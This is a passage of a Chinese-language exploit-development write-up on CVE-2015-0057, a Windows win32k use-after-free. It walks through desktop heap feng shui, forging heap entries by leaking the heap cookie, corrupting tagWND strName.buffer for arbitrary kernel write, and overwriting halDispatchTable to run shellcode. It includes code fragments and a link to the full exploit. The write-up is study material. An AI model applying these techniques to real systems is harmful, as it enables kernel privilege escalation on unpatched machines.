fffff901`40ac5630 00000000`00000000 00000000`00000000
fffff901`40ac5640 00000020`00000020 0000030d`000005c0
fffff901`40ac5650 00000046`00000029 00000304`000005b7
fffff901`40ac5660 00007ff9`229677d0 fffff901`408204c0
fffff901`40ac5670 00000000`00000000 00000000`00000000
fffff901`40ac5680 00000000`00000000 00000000`00000000
fffff901`40ac5690 00000000`00000000 00000000`00000000
fffff901`40ac56a0 00000000`00000000 00000000`00000000
fffff901`40ac56b0 00000000`00000000 00000000`00000000
fffff901`40ac56c0 fffff901`40ac55d0 00000000`001c0271
fffff901`40ac56d0 00000000`00000000 00000000`00000000
下面我們來解釋為什么要這樣布局. 首先看一個函數.
memset(o4str, '\x43', 0x30 - _HEAP_BLOCK_SIZE);
RtlInitLargeUnicodeString(&o4lstr, (WCHAR*)o4str, (UINT)-1, 0x30 - _HEAP_BLOCK_SIZE - 2);
[...]
NtUserDefSetText(sprayWnd_5[i], &o4lstr); // 注意這個函數
接著查看一下tagWND的一個結構體成員.
kd> dt win32k!tagWND -b strName
+0x0d8 strName : _LARGE_UNICODE_STRING
kd> dt _LARGE_UNICODE_STRING
win32k!_LARGE_UNICODE_STRING
+0x000 Length : Uint4B ==> windows text的長度
+0x004 MaximumLength : Pos 0, 31 Bits ==> 最大長度
+0x004 bAnsi : Pos 31, 1 Bit
+0x008 Buffer : Ptr64 Uint2B ==> 指向字符串的指針
當調用NtUserDefSetText函數的時候, 內核當中, 關聯的tagWND結構體的strName會有相應的改變. buffer存儲一個指針, 指向o4lstr指向的字符串. 而這一步的關鍵點在于. 這些字符是分配在一個堆中. 堆含有一個堆頭. 如下所示:
kd> dt nt!_HEAP_ENTRY
+0x000 PreviousBlockPrivateData : Ptr64 Void
+0x008 Size : Uint2B ==> 堆的大小
+0x00a Flags : UChar ==> 空閑還是free
+0x00b SmallTagIndex : UChar ==> 用來檢測堆是否被覆蓋
+0x00c PreviousSize : Uint2B ==> 前一個堆塊的大小
+0x00e SegmentOffset : UChar
+0x00e LFHFlags : UChar
+0x00f UnusedBytes : UChar
+0x008 CompactHeader : Uint8B
+0x000 Reserved : Ptr64 Void
+0x008 FunctionIndex : Uint2B
+0x00a ContextValue : Uint2B
+0x008 InterceptorValue : Uint4B
+0x00c UnusedBytesLength : Uint2B
+0x00e EntryOffset : UChar
+0x00f ExtendedBlockSignature : UChar
+0x000 ReservedForAlignment : Ptr64 Void
+0x008 Code1 : Uint4B
+0x00c Code2 : Uint2B
+0x00e Code3 : UChar
+0x00f Code4 : UChar
+0x008 AgregateCode : Uint8B
你可以去查看寫原語殘缺的時候dump的內存. 你會發現heap entry的內容是可控的. 里面包含當前堆塊的大小等信息. 所以, 現在假設一種狀況:
[+] 我們通過SetPropA. 控制了_HEAP_ENRTY
[+] 通過控制_HEAP_ENRTY, 修改了這個_HEAP_ENRTY代表的堆塊大小為A(包含后面的tagWND)
[+] 通過DestroyWindow函數, 釋放這個堆塊
[+] tagWND一并被釋放, 照成了新的UAF漏洞
[+] 重新構造一個假的tagWND, 使用這個假的tagWND來進行write_what_where
基于此, 新的問題就產生了
[+] 怎么讓堆分配的布局為psbInfo + windows text + tagWND==> 風水布局
[+] _HEAP_ENRTY的內容應該是什么 ==> heap cookie
[+] 構造怎樣的tagWND ==> 漏洞如何利用
這是我們后面主要需要討論的. 所以我們從簡單的說起.
構造假的_HEAP_ENTRY: 泄露heap cookie
我在heap cookie上花了大量的時間, 因為當時找的資料并不多, 大多數都是堆內部管理的資料. 我想找一個泄露cookie的資料, 死活沒有找到. 所以最后在通過閱讀源碼+閱讀堆內部管理的理論知識, 解決了這個問題.
首先, 我們假設要偽造的_HEAP_ENTRY所關聯的堆大小是0x1b0(后面解釋為什么為這個值), 堆是以0x10的為一個單位. 前面我們可以看到前面的_HEAP_ENTRY結構體偏移0x8處即為size, 那么我們直接把這個值改為0x1b(記住以0x10為單位). 那么是不是就ok了呢.
如果這樣做的話, 我們就會被安排的明明白白. windows呢, 很久以前就知道有人想弄它的堆. 所以他就實現了一個Cookie. 來保護它的堆. 保護的過程如下.
heapCode[11] = heapCode[8] ^ heapCode[0] ^ heapCode[10] // 構造smalltagIndex
heapCode ^= cookie(系統每次開機的時候一個隨機值);
windows在每次開機的時候, 都會有一個隨機的cookie值生成. heapChunk 釋放狀態的時候.
heapChunk ^= cookie
if(heapCode[11] != heapCode[8] ^ heapCode[9] ^ heapCode[10]) //類似于這種判斷
BSOD
所以我們的heapChunk不能亂搞, 我們只單單改大小是過不了堆的檢測的. 我們如何構建一個能通過檢測的堆. 首先, 假設我們已經獲取正確的cookie(此時假設為). 我們dump一下還沒有被覆蓋的heap
100055e4`699dfbd6
我們進行異或:
偏移0x8處: d6 fb 9d 69 e4 55 00 10(小端序)
算下Small tagIndex:
heapCode[11] = heapCookie[8](替換為0x1b) ^ heapCookie[9] ^ heapCookie[10]
OK, 之后:
heapFakeChunk = heapCode[8] ^ cookie就可以了.
這里你可能有一個小小的疑惑, 為什么我要dump解密之后再加密. _HEAP_ENTRY 在未與cookie異或之前, 不管你怎么電腦開機, 每次除了smalltagIndex之外, 應該都是一樣的(這個地方可能有點問題, 但是這是我調試得出的結論.). 所以你直接dump改變大小, 重新賦值size. 再和cookie進行異或就可以使用了了. 當然, 你也可以選擇具體深究_HEAP_ENTRY結構體的每一個成員, 算出他們每一個的值.
這一部分我自己的開發過程中. 根本沒有管這個cookie. 反正電腦是虛擬機. 那么保存鏡像. 每次都是一樣的. 那么我只要用調試器獲取一個cookie. 然后就可以用了.
我們來講一下如何用代碼來泄露此cookie(這一部分我其實不是獨立開發, 用的別人代碼調試理解)
BYTE *Addr = (BYTE *)0x1000;
ULONG_PTR dheap = (ULONG_PTR)pSharedInfo->aheList;
while (VirtualQuery(Addr, &MemInfo, sizeof(MemInfo)))
{
if (MemInfo.Protect = PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT)
{
if (*(UINT *)((BYTE *)MemInfo.BaseAddress + 0x10) == 0xffeeffee) // 說明我們找到了桌面堆的映射...
{
if (*(ULONG_PTR *)((BYTE *)MemInfo.BaseAddress + 0x28) == (ULONG_PTR)((BYTE *)MemInfo.BaseAddress + deltaDHeap)) //繞過這個地方相加等于堆
{
BYTE* cookieAddr = (BYTE*)MemInfo.BaseAddress + 0x80;
// 自己寫一個for循環的來實現復制
for (int i = 0; i < 0x10; i++)
{
cookies[i] = cookieAddr[i];
}
return TRUE;
}
}
}
Addr += MemInfo.RegionSize;
}
return FALSE;
這一部分我是如何理解的呢(這個地方我是通過調試器理解+原理, 所以可能有誤, 因為實在沒有找到現成的詳細解釋的資料, 所以實在抱歉). 我注意到上面有幾個常量. 剛好可以和_HEAP對應起來.
kd> dt nt!_HEAP d62f960000
[...]
+0x010 SegmentSignature : 0xffeeffee
[...]
+0x080 Encoding : _HEAP_ENTRY
[...]
我dump了幾個_HEAP的數據, 發現他們的0x10處都為0xffeeffee, 所以依據此可以判斷此內存塊存放_HEAP結構.
接著通過下面的這張圖:

Desktop heap會有一份堆映射到user space, 也就是我們可以用virtualAlloc可以查詢到的, 每一個Desktop heap在kernel中的地址和映射到內核中的地址是固定的, 如果滿足user space address + offset = kernel space address. 說明到了Desktop heap對應的_HEAP結構, 接著偏移0x80的地方存放的是我們的cookie值.
偽造怎樣的tagWND: 漏洞如何利用
我們前面講過, tagWND里會有一個strName, 與NtUserSetText函數關聯, 期間strName是一個nt!_LARGE_UNICODE_STRING結構體.
kd> dt _LARGE_UNICODE_STRING
win32k!_LARGE_UNICODE_STRING
+0x000 Length : Uint4B ==> windows text的長度
+0x004 MaximumLength : Pos 0, 31 Bits ==> 最大長度
+0x004 bAnsi : Pos 31, 1 Bit
+0x008 Buffer : Ptr64 Uint2B ==> 指向字符串的指針
我們知道我們差的是write_what_where:
[+] where: 把這個值寫入strName.buffer對應的指針
[+] what: 使用NtUserSetText將what數據寫入
這就是我們整體的利用思路, 舉個例子, 我們不是要寫nt!halDispatchTagble+0x8的值為shellcode么.
[+] 假設nt!halDispatchTable+0x8的值為0xFFFFFFFFFF
[+] 篡改strName.buffer值為0xFFFFFFFFFF
[+] 把NtUserSetText的第二個參數改為ShellCode Address
ok, 現在我們的剩下的唯一問題就是我們如何把布局變成我們想要的布局.
fengshui布局
很多時候名字是一個有意思的事, 比如fengshui布局. 光從一個名字我們能得到什么.
[+] 我不是學風水的, 所以在我眼里風水就是指周圍環境很適合做某事.
對于這個漏洞利用來說, 什么樣的環境是我們需要的呢. 前面我們說過.
[+] 首先漏洞觸發窗口的psbinfo
[+] 其次是一個windows text, 以便于我們覆蓋它的_HEAP_ENTRY.
[+] 最后放一個tagWND. 利用它的strName.buffer進行任意地址的讀寫.
所以我們期望的布局圖示如下.

我在風水布局上面花了相當長的一段時間. 因為對兩個地方理解有誤導致.
[+] 存儲tagWND最好是0x180
[+] desktop和pool不一樣.
如果聽不懂就對了. 我們來搞懂他.(這一部分建議看看我的源碼, 雖然很丑)
首先. 由前面我們知道.
memset(o1str, '\x40', 0x1e0 - _HEAP_BLOCK_SIZE);
RtlInitLargeUnicodeString(&o1lstr, (WCHAR*)o1str, (UINT)-1, 0x1e0 - _HEAP_BLOCK_SIZE - 2);
NtUserDefSetText(sprayWnd_1[i], &o1lstr);
通過上面的代碼片段我們分配了0x1e0大小的桌面堆塊, NtUserDefSetText函數是我進行堆噴射的接口. 通過它我們能夠的到任意大小的heap.
于是, 為了實現上面的堆分配. 我一開始分配了0x300個0x1e0Desktop heap.

之后為了防止堆塊合并, 我進行了隔一個進行free.

free之后, 我通過兩次填充, 布局如下:

很好, 我們釋放此0x1b0的數據, 接著先填充0x180, 在填充0x30的數據. 在釋放0x180之后, 我們申請tagWND, 如下:

接著隔一釋放我們另外的0x1e0的數據塊, 一堆循環重復之后, 我們實現了我們想要的布局.
很抱歉, 這一部分實在講的不夠好. 一個是我實在不會做gif圖, 那種彩色圖實在是不會做, 如果后面我學會了, 這一部分會重新更新. 另外一部分, 我總感覺繞了很多的彎路, 幸運的是, 他是可靠的.
我依據的原則如下:
[+] tagWND適合0x180, 這一部分通過調試驗證來的
[+] 當一個塊處于free態, 另外一個分配的內核塊會往前面擠
[+] 如果一個塊大小為0x30. 那么先分配0x20, 再去分配0x10. 如果不這樣做, 很容易0x10+0x10+0x10
[+] Desktop heap 用heap來fengshui, 和pool不一樣
[+] NtUserDefSetText ==> 分配任意大小heap的接口函數
[+] DestoryWindow ==> free heap塊的接口
在實現了布局之后, 我們的漏洞利用就結束了. 只要構造一個假的tagWND, 改變其strname.buffer值, 就能夠實現我們的任意地址讀寫.
總結
exp總結
在我學習heap cookie的過程中, 我查閱資料的時候發現, 這是ddctf的第二題… 于是, 我看到出題的keenjoy98師傅說.
[+] 來自 Pangu 的 Slipper 和 360 Vulcan 的 "我叫0day誰找我_" 先后提交了第一道題目的答案,雖然 ExpCode 還需打磨,但兩位同學的答案都是合格的。恭喜他們!(不遠萬里前來欺負在校大學生 :P)
那一瞬間覺得整個人都涼了, 因為我的代碼, 何止需要打磨, 簡直需要回爐重造. 一開始還是有代碼組織的, 后來自從heap cookie開始, 每一天想的都是如何實現功能, 根本沒有想組織的心情. 所以那是一份相當不堪入目的代碼.
另外一個問題是死鎖, 如果你觀察我的代碼, 能看到很多的Sleep函數, 原因來源于, 其實exp的開發很久以前就完工了. 但是有個很奇怪的事, 當我運行在調試某些地方寫入__debugbreak()的時候, 我在最后運行的時候, 我可以運行cmd, 但是去掉這些__debugbreak(), 在調試器當中我打印出Token已經被替換了. 但是就是沒有cmd產生. 于是我dump了一下此時卡住時候的堆棧. 發現是由于windows的消息卡住了. 于是我花費了三四天的時間在研究如何繞過死鎖. 最后實在沒有找到方法(因為操作系統實在是太菜了). 有一天, 我想, 既然我那么多個__debugbreak()可以拋出cmd, 那么我是不是能夠通過模仿__debugbreak的行為來繞過死鎖呢. 我一開始選取了for循環, 但是在vs 萬惡的優化下, 自動幫我去掉了, 所以我最后選取了Sleep(5000)函數, 成功的幫我繞過了死鎖.
win32k tips總結.
首先, 這一部分只算是我自己的想法. 所以不算是教科書般的定義… 所以請把他當作是一種討論, 不要當作教條.
關于逆向代碼
win32k是一個很大很大的東西, 也就是說, 就算給了你源代碼寫了詳細的注釋, 可能你都得花一輩子的時間去理解閱讀, 估計是比等名偵探柯南完結更久的時間. 所以, 盡量少去靜態逆向win32k的代碼. 很多時候, 動態調試能幫你省去很多時間. 我自己做的過程中, 必須需要逆向的代碼, 體現在漏洞觸發的時候, 我需要理解代碼如何才能抵達漏洞觸發的那個點的位置. 基于這種情況下. 一般的有用的資料是.
[+] RectOS: 一個開源項目, 仿照寫windows NT
[+] windows NT 4.0: windows NT源碼泄露的版本, github能搜到.
[+] 匯編代碼: 通過閱讀匯編代碼進行調試分析, 分析關鍵處寄存器內存等的值.
說到底, 我只是想寫提權而已. 每一年都有無數個win32k漏洞被爆出來, 每次的漏洞的函數都不一樣, 存在很大的可能性, 在你一年之后, 回想一年前的代碼你已經忘記的干干凈凈了. 所以, 糾結于這個函數到底干嘛, 這個結構體到底在干嘛, 我覺得并不一定是合適. 相反, 與我而言. 更重要的是.
[+] 我拿到一個POC ==> 能定位到關鍵代碼么
[+] 定位到關鍵代碼之后 ==> 我能確定我要利用的是哪一個部分么.
[+] 知道利用的點之后 ==> 我知道哪里找資料獲取相關的信息抵達這個利用點么.
擁有能力我覺得是比使用能力更重要的事. 因為如果你有能力, 剩下的過程不過是循環往復, 調試改正. 這樣.
關于windows內核提權exp的編寫.
可能看了上面的東西你有點小小的難受, SMEP, heap cookie… 這都啥啥啥…. 但是一個好消息. 如果你閱讀完全文之后, 你會發現. 其實大多數是依賴于操作系統. 和你此次的利用哪一個漏洞代碼其實無關. 也就是說, 這一部分的東西, 你只要學習一次就好. 我覺得這是一個很好的消息. 意味著,如果你是一個懶惰的人, 大可以翻翻有沒有開源的庫, 別人已經編寫好的代碼直接用就好了. 類似于這樣.
#include "exploit_wjllz.h"
int main()
{
SmepBypass(); //SMEP繞過
exploit();
}
但是我們都做到內核來了, 了解原理可能是基于習慣吧… 所以前面浪費了大多數的篇幅.
另外一個方面, 在我exp的開發過程中, 大多數時候都借用了調試器和虛擬機的特性.
[+] windbg: 可以幫我模擬SMEP繞過. heap cookie, write_what_where
[+] 虛擬機鏡像: 可以幫我模擬繞過KASLR
也就是, 我可以通過這個來先驗證自己的思路對不對, 剩下的知識都是死知識, 不斷地去補充調試就好了.
關于windows內核win32k
win32k的漏洞的本質(我認為的), 因為自己也是學習的過程, 所以只能給出探討, 無法給出結論. 希望你不要介意.
[+] user callback
這個地方一直是我師父給我講的, 開發者假設和攻擊者假設的區別.
[+] 開發者假設: 我的內核數據很重要, 最好全部由我來管理. 外部的數據只能通過我提供的接口來進行相應的修改.
[+] 攻擊者假設: 基于某種可能, 我能夠利用user callback的函數, 使本來應該運行在內核中的程序流. 回到我的callback. 在這里, 我能依據漏洞點. 修改數據. 突破開發者假設.
實驗結果驗證
如下:

相關鏈接
- sakura師傅博客: http://eternalsakura13.com/
- 小刀師傅的博客: https://xiaodaozhi.com/
- 我的博客: http://www.redog.me/
- 本文exp地址: https://github.com/redogwu/blog_exp_win_kernel/blob/master/cve_2015_0057_exp.zip
- ncc gruop: https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/july/exploiting-the-win32kxxxenablewndsbarrows-use-after-free-cve-2015-0057-bug-on-both-32-bit-and-64-bit-tldr/
- cve-2015-0057: http://hdwsec.fr/blog/20151217-ms15-010/
- keenjoy98老師: https://www.blackhat.com/docs/asia-16/materials/asia-16-Wang-A-New-CVE-2015-0057-Exploit-Technology-wp.pdf
- smep繞過: https://www.secureauth.com/labs/publications/windows-smep-bypass-us
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/873/
暫無評論